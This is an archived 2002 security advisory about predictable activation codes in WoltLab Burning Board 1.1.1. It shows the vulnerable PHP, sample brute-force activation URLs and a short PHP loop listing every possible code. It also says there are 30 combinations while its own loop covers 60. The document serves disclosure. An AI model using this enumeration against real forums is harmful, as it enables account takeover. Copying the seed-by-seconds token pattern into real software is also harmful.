

[UNIX] WBoard New User Registration Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-05/0122.html>

From: support@securiteam.com

Date: 05/28/02

From: support@securiteam.com

To: list@securiteam.com

Date: Tue, 28 May 2002 08:06:21 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

WBoard New User Registration Vulnerability

SUMMARY

The <<http://www.wolflab.de>> WoltLab Burning Board is a simple to use forum software. A security vulnerability in the product allows attackers to gain access to anyone's user account with a very short brute forcing attack (a maximum of 30 tries), this is due to a flaw in the randomization function being used in the program.

DETAILS

Vulnerable systems:

* WoltLab Burning Board version 1.1.1

Vulnerable code:

In register.php:

```
-----  
$datum = date("s");  
mt_srand($datum);  
$z = mt_rand();  
$db_zugriff->query("INSERT INTO bb".$n."_user_table  
$db_zugriff->(username,userpassword,useremail,regemail,groupid,regdate,lastvisit,lastactivity,activation)  
$db_zugriff->VALUES
```

Securiteam: [UNIX] WBoard New User Registration Vulnerability

```
$db_zugriff->('$name','$password','$email','$email','$default_group','$time','$time','$time','$z');
```

After that, an email will be sent to user@mail.dom with an URL that will activate the account.

Here is the activation code (action.php):

```
if($action=="activation") {
    $result = activat($userid,$code);
    if($result == 1) eval ("\$output =
\"\".gettemplate("error1")."\";");
    if($result == 2) eval ("\$output =
\"\".gettemplate("error22")."\";");
    if($result == 3) eval ("\$output =
\"\".gettemplate("error23")."\";");
    if(!$result) {
        $user_id = $userid;
        eval ("\$output = \"\".gettemplate("note21")."\";");
        $user_password = getUserPW($userid);
        session_register("user_id");
        session_register("user_password");
        setcookie("user_id", "$user_id", time()+(3600*24*365));
        setcookie("user_password", "$user_password",
time()+(3600*24*365));
    }
    $ride = "main.php?styleid=$styleid$session";
}
```

Note that the activat() function generates the activation code using the following code:

```
$datum = date("s");
mt_srand($datum); // This code result only 30 original integer words.
$z = mt_rand();
```

As noted above, the number of combinations this code generates is no larger than 30.

Exploit:

Register in forum you will receive a message like this:

To continue registration

<http://forum.dom/forum/action.php?action=activation1563109322>

Now since the code used to generate the activation code does this with a limited set (a small number of activation codes are possible), trying out all combinations:

<http://forum.dom/forum/action.php?action=activation1898087491>

<http://forum.dom/forum/action.php?action=activation1309289693>

...

<http://forum.dom/forum/action.php?action=activation356268007>

Securiteam: [UNIX] WBoard New User Registration Vulnerability

Would not be too hard, to display all the combinations you can use the following PHP code:

```
<?php for($i=0; $i<60; $i++)
{
mt_srand($i);
echo mt_rand()."<BR>";
}
?>
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:seazon@dnestr.com> SeazoN.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NT] FtpXO MKD Buffer Overflow"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)